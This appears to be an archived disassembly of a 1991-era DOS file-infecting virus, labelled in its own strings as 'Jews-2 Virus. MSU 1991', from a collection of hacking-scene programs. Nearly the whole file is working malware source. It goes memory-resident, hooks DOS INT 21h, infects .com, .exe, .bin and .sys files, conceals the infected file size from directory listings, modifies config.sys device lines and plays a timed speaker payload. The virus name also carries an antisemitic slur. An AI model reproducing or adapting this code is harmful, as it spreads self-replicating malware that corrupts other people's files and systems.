home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / MAYAK.ASM < prev    next >
Assembly Source File  |  1992-09-15  |  28KB  |  1,271 lines

  1.  
  2. PAGE  59,132
  3.  
  4. ;██████████████████████████████████████████████████████████████████████████
  5. ;██                                         ██
  6. ;██                    MAYAK                         ██
  7. ;██                                         ██
  8. ;██      Created:   1-Aug-92                             ██
  9. ;██      Passes:    5           Analysis Options on: none             ██
  10. ;██                                         ██
  11. ;██████████████████████████████████████████████████████████████████████████
  12.  
  13. data_1e        equ    0Ch
  14. data_3e        equ    20h
  15. data_4e        equ    24h
  16. data_5e        equ    84h
  17. data_6e        equ    90h
  18. data_8e        equ    100h
  19. data_9e        equ    917h            ;*
  20. data_10e    equ    91Eh            ;*
  21. data_11e    equ    5350h            ;*
  22. data_14e    equ    927h            ;*
  23. data_15e    equ    6
  24. data_16e    equ    46h
  25. data_17e    equ    60h
  26.  
  27. seg_a        segment    byte public
  28.         assume    cs:seg_a, ds:seg_a
  29.  
  30.  
  31.         org    100h
  32.  
  33. mayak        proc    far
  34.  
  35. start:
  36. ;*        jmp    loc_6            ;*
  37.         db    0E9h, 32h, 01h
  38.         db     60h,0B9h, 00h, 20h
  39.  
  40. locloop_3:
  41.         loop    locloop_3        ; Loop if cx > 0
  42.  
  43.         mov    al,0
  44.         out    60h,al            ; port 60h, keybd data write
  45.         int    20h            ; DOS program terminate
  46.         push    ax
  47.         push    cx
  48.         push    si
  49.         push    di
  50.         push    ds
  51.         push    es
  52.         call    sub_2
  53.  
  54. mayak        endp
  55.  
  56. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  57. ;                   SUBROUTINE
  58. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  59.  
  60. sub_2        proc    near
  61.         pop    si
  62.         sub    si,9
  63.         nop                ;*ASM fixup - sign extn byte
  64.         push    cs
  65.         pop    ds
  66.         mov    [si+44h],cs
  67.         nop                ;*ASM fixup - displacement
  68.         mov    [si+62h],cs
  69.         nop                ;*ASM fixup - displacement
  70.         mov    [si+46h],bx
  71.         nop                ;*ASM fixup - displacement
  72.         mov    [si+48h],es
  73.         nop                ;*ASM fixup - displacement
  74.         mov    ax,[si+42h]
  75.         mov    ds:data_15e,ax
  76.         jmp    short $+2        ; delay for I/O
  77.         cld                ; Clear direction
  78.         mov    ax,7000h
  79.         mov    es,ax
  80.         xor    di,di            ; Zero register
  81.         mov    cx,923h
  82.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  83.         mov    cx,7Bh
  84.         rep    stosb            ; Rep when cx >0 Store al to es:[di]
  85.         pop    es
  86.         pop    ds
  87.         pop    di
  88.         pop    si
  89.         pop    cx
  90.         pop    ax
  91. ;*        jmp    far ptr loc_2        ;*
  92. sub_2        endp
  93.  
  94.         db    0EAh,0C1h, 00h, 68h, 02h
  95.         out    3,al            ; port 3, DMA-1 bas&cnt ch 1
  96.         xchg    dx,ds:data_11e[bx+si]
  97.         push    cx
  98.         push    dx
  99.         push    si
  100.         push    di
  101.         push    ds
  102.         push    es
  103.         push    cs
  104.         pop    ds
  105.         les    di,dword ptr ds:data_17e    ; Load 32 bit ptr
  106.         mov    si,91Eh
  107.         cld                ; Clear direction
  108.         movsw                ; Mov [si] to es:[di]
  109.         movsw                ; Mov [si] to es:[di]
  110.         movsb                ; Mov [si] to es:[di]
  111. ;*        call    far ptr sub_1        ;*
  112.         db     9Ah,0CCh, 00h, 68h, 02h
  113.         mov    ax,0FEDAh
  114.         int    21h            ; ??INT Non-standard interrupt
  115.         cmp    ax,0ADEFh
  116.         je    loc_4            ; Jump if equal
  117.         push    cs
  118.         pop    ds
  119.         mov    ah,34h            ; '4'
  120.         int    21h            ; DOS Services  ah=function 34h
  121.                         ;  get DOS critical ptr es:bx
  122.                         ;*  undocumented function
  123.         mov    word ptr ds:[93Bh],bx
  124.         mov    word ptr ds:[93Dh],es
  125.         lds    si,dword ptr ds:data_16e    ; Load 32 bit ptr
  126.         les    di,dword ptr [si+0Eh]    ; Load 32 bit ptr
  127.         mov    cl,4
  128.         shr    di,cl            ; Shift w/zeros fill
  129.         inc    di
  130.         mov    ax,es
  131.         add    ax,di
  132.         mov    es,ax
  133.         mov    word ptr [si+0Eh],99Eh
  134.         mov    [si+10h],es
  135.         xor    di,di            ; Zero register
  136.         push    cs
  137.         pop    ds
  138.         xor    si,si            ; Zero register
  139.         cld                ; Clear direction
  140.         mov    cx,99Eh
  141.         rep    movsb            ; Rep when cx >0 Mov [si] to es:[di]
  142.         mov    di,data_14e
  143.         mov    ds,cx
  144.         mov    si,data_5e
  145.         movsw                ; Mov [si] to es:[di]
  146.         movsw                ; Mov [si] to es:[di]
  147.         mov    [si-2],es
  148.         mov    word ptr [si-4],147h
  149.         mov    si,data_4e
  150.         movsw                ; Mov [si] to es:[di]
  151.         movsw                ; Mov [si] to es:[di]
  152.         mov    [si-2],es
  153.         mov    word ptr [si-4],384h
  154.         mov    ah,2Ah            ; '*'
  155.         int    21h            ; DOS Services  ah=function 2Ah
  156.                         ;  get date, cx=year, dh=month
  157.                         ;   dl=day, al=day-of-week 0=SUN
  158.         call    sub_10
  159.         sub    ax,word ptr cs:[917h]
  160.         cmp    ax,5
  161.         jb    loc_4            ; Jump if below
  162.         mov    si,data_3e
  163.         movsw                ; Mov [si] to es:[di]
  164.         movsw                ; Mov [si] to es:[di]
  165.         mov    [si-2],es
  166.         mov    word ptr [si-4],2C2h
  167. loc_4:
  168.         pop    es
  169.         pop    ds
  170.         pop    di
  171.         pop    si
  172.         pop    dx
  173.         pop    cx
  174.         pop    bx
  175.         pop    ax
  176.         retf                ; Return far
  177.         db    'Jews-2 Virus. MSU 1991'
  178.         db     1Eh, 06h,0E8h, 00h, 00h, 5Eh
  179.         db     81h,0EEh, 03h, 01h,0E8h,0CAh
  180.         db     02h, 0Eh, 0Eh, 1Fh, 07h,0E8h
  181.         db     25h, 03h, 07h, 8Ch,0C0h, 05h
  182.         db     10h, 00h, 2Eh, 01h, 84h, 24h
  183.         db     01h, 1Fh,0E8h,0FFh, 02h,0EAh
  184.         db     00h
  185.         db    0, 0, 0
  186. loc_6:
  187.         call    sub_3
  188.  
  189. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  190. ;                   SUBROUTINE
  191. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  192.  
  193. sub_3        proc    near
  194.         pop    si
  195.         sub    si,129h
  196.         call    sub_5
  197.         push    si
  198.         mov    di,data_8e
  199.         add    si,data_10e
  200.         movsw                ; Mov [si] to es:[di]
  201.         movsb                ; Mov [si] to es:[di]
  202.         pop    si
  203.         call    sub_8
  204.         mov    ax,100h
  205.         push    ax
  206.         call    sub_7
  207.         retn
  208. sub_3        endp
  209.  
  210.         pushf                ; Push flags
  211.         cmp    ax,0FEDAh
  212.         jne    loc_7            ; Jump if not equal
  213.         mov    ax,0ADEFh
  214.         les    bx,dword ptr cs:[927h]    ; Load 32 bit ptr
  215.         popf                ; Pop flags
  216.         iret                ; Interrupt return
  217. loc_7:
  218.         push    bx
  219.         push    cx
  220.         push    dx
  221.         push    di
  222.         push    si
  223.         push    bp
  224.         push    ds
  225.         push    es
  226.         xor    si,si            ; Zero register
  227.         call    sub_5
  228.         cmp    ah,3Ch            ; '<'
  229.         je    loc_13            ; Jump if equal
  230.         cmp    ah,5Bh            ; '['
  231.         je    loc_13            ; Jump if equal
  232.         cmp    ah,3Dh            ; '='
  233.         je    loc_15            ; Jump if equal
  234.         cmp    ah,3Eh            ; '>'
  235.         je    loc_17            ; Jump if equal
  236.         cmp    ah,4Bh            ; 'K'
  237.         jne    loc_10            ; Jump if not equal
  238.         jmp    loc_20
  239. loc_10:
  240.         cmp    ah,4Eh            ; 'N'
  241.         jne    loc_11            ; Jump if not equal
  242.         jmp    loc_26
  243. loc_11:
  244.         cmp    ah,4Fh            ; 'O'
  245.         jne    loc_12            ; Jump if not equal
  246.         jmp    loc_28
  247. loc_12:
  248.         jmp    loc_31
  249. loc_13:
  250.         int    3            ; Debug breakpoint
  251.         jnc    loc_14            ; Jump if carry=0
  252.         jmp    loc_29
  253. loc_14:
  254.         push    ax
  255.         call    sub_12
  256.         pop    bx
  257.         mov    byte ptr cs:[943h][bx],al
  258.         mov    byte ptr cs:[957h][bx],ah
  259.         mov    ax,bx
  260.         jmp    loc_30
  261. loc_15:
  262.         push    ax
  263.         mov    al,2
  264.         int    3            ; Debug breakpoint
  265.         jnc    loc_16            ; Jump if carry=0
  266.         pop    ax
  267.         jmp    loc_31
  268. loc_16:
  269.         pop    bx
  270.         push    ax
  271.         call    sub_12
  272.         pop    bx
  273.         mov    byte ptr cs:[943h][bx],al
  274.         mov    byte ptr cs:[957h][bx],ah
  275.         call    sub_21
  276.         mov    ax,bx
  277.         jmp    loc_30
  278. loc_17:
  279.         push    ax
  280.         push    cs
  281.         pop    ds
  282.         cmp    bx,5
  283.         jb    loc_19            ; Jump if below
  284.         cmp    bx,18h
  285.         ja    loc_19            ; Jump if above
  286.         mov    al,byte ptr ds:[943h][bx]
  287.         mov    ah,byte ptr ds:[957h][bx]
  288.         mov    byte ptr ds:[943h][bx],0
  289.         mov    byte ptr ds:[957h][bx],0
  290.         cmp    al,2
  291.         jb    loc_18            ; Jump if below
  292.         cmp    ah,2
  293.         jbe    loc_19            ; Jump if below or =
  294. loc_18:
  295.         call    sub_20
  296. loc_19:
  297.         pop    ax
  298.         jmp    loc_31
  299. loc_20:
  300.         mov    word ptr cs:[99Ah],dx
  301.         mov    word ptr cs:[99Ch],ds
  302.         push    ax
  303.         call    sub_12
  304.         mov    word ptr cs:[998h],ax
  305.         push    ax
  306.         mov    ax,3D02h
  307.         int    3            ; Debug breakpoint
  308.         mov    bx,ax
  309.         pop    ax
  310.         pop    cx
  311.         push    cx
  312.         jc    loc_25            ; Jump if carry Set
  313.         and    cl,cl
  314.         jz    loc_23            ; Jump if zero
  315.         call    sub_21
  316.         mov    ah,3Eh            ; '>'
  317.         int    3            ; Debug breakpoint
  318.         pop    ax
  319.         call    sub_4
  320.         pop    bx
  321.         call    dword ptr cs:[927h]
  322.         pushf                ; Push flags
  323.         push    bx
  324.         push    cx
  325.         push    dx
  326.         push    di
  327.         push    si
  328.         push    bp
  329.         push    ds
  330.         push    es
  331.         push    ax
  332.         xor    si,si            ; Zero register
  333.         call    sub_5
  334.         mov    ax,word ptr cs:[998h]
  335.         lds    dx,dword ptr cs:[99Ah]    ; Load 32 bit ptr
  336.         cmp    al,2
  337.         jb    loc_22            ; Jump if below
  338.         cmp    ah,2
  339.         ja    loc_22            ; Jump if above
  340. loc_21:
  341.         pop    ax
  342.         call    sub_4
  343.         pop    bx
  344.         popf                ; Pop flags
  345.         retf    2            ; Return far
  346. loc_22:
  347.         push    ax
  348.         mov    ax,3D02h
  349.         int    3            ; Debug breakpoint
  350.         mov    bx,ax
  351.         pop    ax
  352.         jc    loc_21            ; Jump if carry Set
  353.         call    sub_20
  354.         mov    ah,3Eh            ; '>'
  355.         int    3            ; Debug breakpoint
  356.         jmp    short loc_21
  357. loc_23:
  358.         cmp    al,2
  359.         jb    loc_24            ; Jump if below
  360.         cmp    ah,2
  361.         jbe    loc_25            ; Jump if below or =
  362. loc_24:
  363.         call    sub_20
  364. loc_25:
  365.         mov    ah,3Eh            ; '>'
  366.         int    3            ; Debug breakpoint
  367.         pop    ax
  368.         jmp    short loc_31
  369. loc_26:
  370.         int    3            ; Debug breakpoint
  371.         jc    loc_29            ; Jump if carry Set
  372.         mov    ah,2Fh            ; '/'
  373.         int    21h            ; DOS Services  ah=function 2Fh
  374.                         ;  get DTA ptr into es:bx
  375.         push    es
  376.         pop    ds
  377. loc_27:
  378.         mov    ax,[bx+16h]
  379.         and    ax,1Fh
  380.         cmp    ax,1Fh
  381.         jne    loc_30            ; Jump if not equal
  382.         sub    word ptr [bx+1Ah],923h
  383.         sbb    word ptr [bx+1Ch],0
  384.         and    word ptr [bx+16h],0FFE0h
  385.         jmp    short loc_30
  386. loc_28:
  387.         int    3            ; Debug breakpoint
  388.         mov    bx,dx
  389.         jnc    loc_27            ; Jump if carry=0
  390. loc_29:
  391.         call    sub_4
  392.         pop    bx
  393.         popf                ; Pop flags
  394.         stc                ; Set carry flag
  395.         retf    2            ; Return far
  396. loc_30:
  397.         call    sub_4
  398.         pop    bx
  399.         popf                ; Pop flags
  400.         clc                ; Clear carry flag
  401.         retf    2            ; Return far
  402. loc_31:
  403.         call    sub_4
  404.         pop    bx
  405.         popf                ; Pop flags
  406.         jmp    dword ptr cs:[927h]
  407.         push    ax
  408.         push    cx
  409.         push    dx
  410.         push    si
  411.         push    ds
  412.         push    es
  413.         push    cs
  414.         pop    ds
  415.         cmp    byte ptr ds:[34Eh],0
  416.         jne    loc_32            ; Jump if not equal
  417.         les    si,dword ptr ds:[93Bh]    ; Load 32 bit ptr
  418.         cmp    byte ptr es:[si],0
  419.         jne    $+6Ah            ; Jump if not equal
  420.         mov    ah,2Ch            ; ','
  421.         int    21h            ; DOS Services  ah=function 2Ch
  422.                         ;  get time, cx=hrs/min, dx=sec
  423.         mov    dl,cl
  424.         cmp    dx,1E3Bh
  425.         jne    $+5Eh            ; Jump if not equal
  426.         mov    byte ptr ds:[34Eh],1
  427.         mov    byte ptr ds:[947h],1
  428.         mov    word ptr ds:[943h],34Fh
  429. loc_32:
  430.         dec    byte ptr ds:[34Eh]
  431.         jnz    $+48h            ; Jump if not zero
  432.         mov    si,word ptr ds:[943h]
  433.         cld                ; Clear direction
  434. loc_33:
  435.         lodsb                ; String [si] to al
  436.         mov    byte ptr ds:[34Eh],al
  437.         and    al,al
  438.         jnz    loc_35            ; Jump if not zero
  439.         dec    byte ptr ds:[947h]
  440.         jz    loc_34            ; Jump if zero
  441.         mov    si,word ptr ds:[945h]
  442.         jmp    short loc_33
  443. loc_34:
  444.         lodsb                ; String [si] to al
  445.         mov    word ptr ds:[945h],si
  446.         mov    byte ptr ds:[947h],al
  447.         and    al,al
  448.         jnz    loc_33            ; Jump if not zero
  449.         jmp    short $+21h
  450. loc_35:
  451.         lodsw                ; String [si] to ax
  452.         mov    cx,ax
  453.         mov    word ptr ds:[943h],si
  454.         mov    al,0B6h
  455.         out    43h,al            ; port 43h, 8253 wrt timr mode
  456.         mov    dx,12h
  457.         mov    ax,34DDh
  458.         div    cx            ; ax,dx rem=dx:ax/reg
  459.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  460.         mov    al,ah
  461.         out    42h,al            ; port 42h, 8253 timer 2 spkr
  462.         in    al,61h            ; port 61h, 8255 port B, read
  463.         or    al,3
  464.         out    61h,al            ; port 61h, 8255 B - spkr, etc
  465.         pop    es
  466.         pop    ds
  467.         pop    si
  468.         pop    dx
  469.         pop    cx
  470.         pop    ax
  471.         jmp    dword ptr cs:[92Fh]
  472.         add    [bx+si],al
  473.         add    ax,[bx]
  474.         into                ; Int 4 on overflow
  475.         add    al,[bx]
  476.         push    si
  477.         add    ax,[bx]
  478.         xor    al,4
  479.         pop    es
  480.         push    si
  481.         add    cx,word ptr ds:[3BFh]
  482.         pop    es
  483.         push    si
  484.         add    ax,[bx]
  485.         add    cx,word ptr es:[434h]
  486.         push    cs
  487.         mov    di,1103h
  488.         into                ; Int 4 on overflow
  489.         add    dh,[bp+si]
  490.         db    0FFh,0FFh, 00h, 05h, 02h,0E8h
  491.         db     03h, 10h,0FFh,0FFh, 00h, 01h
  492.         db     09h,0E8h, 03h, 01h,0FFh,0FFh
  493.         db     00h, 00h, 50h, 1Eh,0E4h, 60h
  494.         db     3Ch, 53h, 75h, 35h,0B8h, 40h
  495.         db     00h, 8Eh,0D8h,0A0h, 17h, 00h
  496.         db     24h, 0Ch, 3Ch, 0Ch, 75h, 27h
  497.         db    0C7h, 06h, 72h, 00h, 34h, 12h
  498.         db    0E4h, 61h, 8Ah,0E0h, 0Ch, 80h
  499.         db    0E6h, 61h, 86h,0E0h,0E6h, 61h
  500.         db    0B0h, 20h,0E6h, 20h, 33h,0F6h
  501.         db    0E8h, 20h, 00h, 0Eh, 0Eh, 1Fh
  502.         db     07h,0E8h, 7Bh, 00h,0EAh,0F0h
  503.         db    0FFh, 00h,0F0h
  504.         db     1Fh, 58h, 2Eh,0FFh, 2Eh, 2Bh
  505.         db     09h
  506.  
  507. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  508. ;                   SUBROUTINE
  509. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  510.  
  511. sub_4        proc    near
  512.         call    sub_6
  513.         pop    bx
  514.         pop    es
  515.         pop    ds
  516.         pop    bp
  517.         pop    si
  518.         pop    di
  519.         pop    dx
  520.         pop    cx
  521.         jmp    bx            ;*Register jump
  522.  
  523. ;▀▀▀▀ External Entry into Subroutine ▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  524.  
  525. sub_5:
  526.         push    ax
  527.         push    bx
  528.         push    ds
  529.         push    es
  530.         xor    ax,ax            ; Zero register
  531.         mov    ds,ax
  532.         les    ax,dword ptr ds:data_1e    ; Load 32 bit ptr
  533.         mov    word ptr cs:[933h][si],ax
  534.         mov    word ptr cs:[935h][si],es
  535.         mov    ax,0FEDAh
  536.         int    21h            ; ??INT Non-standard interrupt
  537.         cmp    ax,0ADEFh
  538.         je    loc_37            ; Jump if equal
  539.         les    bx,dword ptr ds:data_5e    ; Load 32 bit ptr
  540. loc_37:
  541.         mov    ds:data_1e,bx
  542.         mov    word ptr ds:data_1e+2,es
  543.         pop    es
  544.         pop    ds
  545.         pop    bx
  546.         pop    ax
  547.         retn
  548. sub_4        endp
  549.  
  550.  
  551. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  552. ;                   SUBROUTINE
  553. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  554.  
  555. sub_6        proc    near
  556.         push    ax
  557.         push    ds
  558.         push    es
  559.         xor    ax,ax            ; Zero register
  560.         mov    ds,ax
  561.         les    ax,dword ptr cs:[933h][si]    ; Load 32 bit ptr
  562.         mov    ds:data_1e,ax
  563.         mov    word ptr ds:data_1e+2,es
  564.         pop    es
  565.         pop    ds
  566.         pop    ax
  567.         retn
  568. sub_6        endp
  569.  
  570.         db    0B0h, 03h,0CFh
  571.  
  572. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  573. ;                   SUBROUTINE
  574. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  575.  
  576. sub_7        proc    near
  577.         call    sub_6
  578.         xor    ax,ax            ; Zero register
  579.         xor    bx,bx            ; Zero register
  580.         mov    cx,0FFh
  581.         mov    dx,cs
  582.         mov    di,sp
  583.         add    di,4
  584.         mov    si,100h
  585.         xor    bp,bp            ; Zero register
  586.         retn
  587. sub_7        endp
  588.  
  589.  
  590. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  591. ;                   SUBROUTINE
  592. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  593.  
  594. sub_8        proc    near
  595.         mov    ah,2Ah            ; '*'
  596.         int    3            ; Debug breakpoint
  597.         call    sub_10
  598.         mov    word ptr ds:[917h][si],ax
  599.         mov    ax,3D00h
  600.         lea    dx,[si+4F0h]        ; Load effective addr
  601.         int    3            ; Debug breakpoint
  602.         mov    bx,ax
  603.         jnc    loc_38            ; Jump if carry=0
  604.         retn
  605. loc_38:
  606.         mov    ah,3Fh            ; '?'
  607.         lea    dx,[si+970h]        ; Load effective addr
  608.         mov    cx,28h
  609.         int    3            ; Debug breakpoint
  610.         and    ax,ax
  611.         jnz    loc_39            ; Jump if not zero
  612.         jmp    loc_46
  613. loc_39:
  614.         mov    cx,ax
  615.         mov    di,dx
  616.         mov    al,0Dh
  617.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  618.         jnz    loc_38            ; Jump if not zero
  619.         mov    byte ptr [di-1],20h    ; ' '
  620.         neg    cx
  621.         inc    cx
  622.         mov    ax,cx
  623.         cwd                ; Word to double word
  624.         xchg    cx,dx
  625.         mov    ax,4201h
  626.         int    3            ; Debug breakpoint
  627.         mov    cx,28h
  628.         mov    al,20h            ; ' '
  629.         lea    di,[si+970h]        ; Load effective addr
  630.         push    di
  631.         push    cx
  632.  
  633. locloop_40:
  634.         scasb                ; Scan es:[di] for al
  635.         jc    loc_41            ; Jump if carry Set
  636.         mov    [di-1],al
  637. loc_41:
  638.         loop    locloop_40        ; Loop if cx > 0
  639.  
  640.         pop    cx
  641.         pop    di
  642.         repe    scasb            ; Rep zf=1+cx >0 Scan es:[di] for al
  643.         push    si
  644.         dec    di
  645.         push    di
  646.         lea    di,[si+4FEh]        ; Load effective addr
  647.         pop    si
  648.         mov    cx,6
  649.  
  650. locloop_42:
  651.         lodsb                ; String [si] to al
  652.         or    al,20h            ; ' '
  653.         scasb                ; Scan es:[di] for al
  654.         loopz    locloop_42        ; Loop if zf=1, cx>0
  655.  
  656.         mov    di,si
  657.         pop    si
  658.         jnz    loc_38            ; Jump if not zero
  659.         mov    cx,28h
  660.         mov    al,20h            ; ' '
  661.         repe    scasb            ; Rep zf=1+cx >0 Scan es:[di] for al
  662.         cmp    byte ptr [di-1],3Dh    ; '='
  663.         jne    loc_38            ; Jump if not equal
  664.         repe    scasb            ; Rep zf=1+cx >0 Scan es:[di] for al
  665.         dec    di
  666.         mov    dx,di
  667.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  668.         mov    byte ptr [di-1],0
  669.         push    bx
  670.         call    sub_11
  671.         jz    loc_44            ; Jump if zero
  672.         mov    di,dx
  673.         cmp    byte ptr [di],5Ch    ; '\'
  674.         je    loc_43            ; Jump if equal
  675.         dec    di
  676.         mov    byte ptr [di],5Ch    ; '\'
  677. loc_43:
  678.         dec    di
  679.         dec    di
  680.         mov    word ptr [di],3A63h
  681.         mov    dx,di
  682. loc_44:
  683.         mov    ax,3D02h
  684.         int    3            ; Debug breakpoint
  685.         jc    loc_45            ; Jump if carry Set
  686.         mov    bx,ax
  687.         mov    ax,402h
  688.         call    sub_20
  689.         mov    ah,3Eh            ; '>'
  690.         int    3            ; Debug breakpoint
  691. loc_45:
  692.         pop    bx
  693.         jmp    loc_38
  694. loc_46:
  695.         mov    ah,3Eh            ; '>'
  696.         int    3            ; Debug breakpoint
  697.         retn
  698. sub_8        endp
  699.  
  700.         db    'c:\config.sys'
  701.         db     00h, 64h, 65h, 76h, 69h, 63h
  702.         db     65h
  703.  
  704. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  705. ;                   SUBROUTINE
  706. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  707.  
  708. sub_10        proc    near
  709.         sub    cx,7BCh
  710.         dec    dx
  711.         dec    dh
  712.         mov    al,1Fh
  713.         mul    dh            ; ax = reg * al
  714.         xor    dh,dh            ; Zero register
  715.         add    dx,ax
  716.         push    dx
  717.         mov    ax,16Eh
  718.         mul    cx            ; dx:ax = reg * ax
  719.         pop    dx
  720.         add    ax,dx
  721.         retn
  722. sub_10        endp
  723.  
  724.  
  725. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  726. ;                   SUBROUTINE
  727. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  728.  
  729. sub_11        proc    near
  730.         mov    di,dx
  731.         mov    cx,0FFFFh
  732.         xor    al,al            ; Zero register
  733.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  734.         neg    cx
  735.         dec    cx
  736.         dec    di
  737.         dec    di
  738.         mov    bx,di
  739.         mov    di,dx
  740.         mov    al,3Ah            ; ':'
  741.         repne    scasb            ; Rep zf=0+cx >0 Scan es:[di] for al
  742.         retn
  743. sub_11        endp
  744.  
  745.  
  746. ;▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀▀
  747. ;                   SUBROUTINE
  748. ;▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄▄
  749.  
  750. sub_12        proc    near
  751.         cld                ; Clear direction
  752.         push    bx
  753.         push    si
  754.         push    ds
  755.         pop    es
  756.         call    sub_11
  757.         jnz    loc_48            ; Jump if not zero
  758.         mov    al,[di-2]
  759.         or    al,20h            ; ' '
  760.         sub    al,61h            ; 'a'
  761.         jmp    short loc_49
  762. loc_48:
  763.         mov    ah,19h
  764.         int    3            ; Debug breakpoint
  765. loc_49:
  766.         std                ; Set direction flag
  767.         push    cs
  768.         pop    es
  769.         lea    di,[si+584h]        ; Load effective addr
  770.         mov    si,bx
  771.         mov    bl,al
  772.         mov    ah,4
  773. loc_50:
  774.         mov    cx,4
  775.         push    di
  776.         push    si
  777.  
  778. locloop_51:
  779.         lodsb                ; String [si] to al
  780.         or    al,20h            ; ' '
  781.         scasb                ; Scan es:[di] for al
  782.         loopz    locloop_51        ; Loop if zf=1, cx>0
  783.  
  784.         pop    si
  785.         pop    di
  786.         jz    loc_53            ; Jump if zero
  787.         sub    di,4
  788.         dec    ah
  789.         jz    loc_53            ; Jump if zero
  790.         jmp    short loc_50
  791. loc_53:
  792.         cld                ; Clear direction
  793.         mov    al,bl
  794.         pop    si
  795.         pop    bx
  796.         retn
  797. sub_12        endp
  798.  
  799.         db    '.com.exe.bin.sys'
  800.  
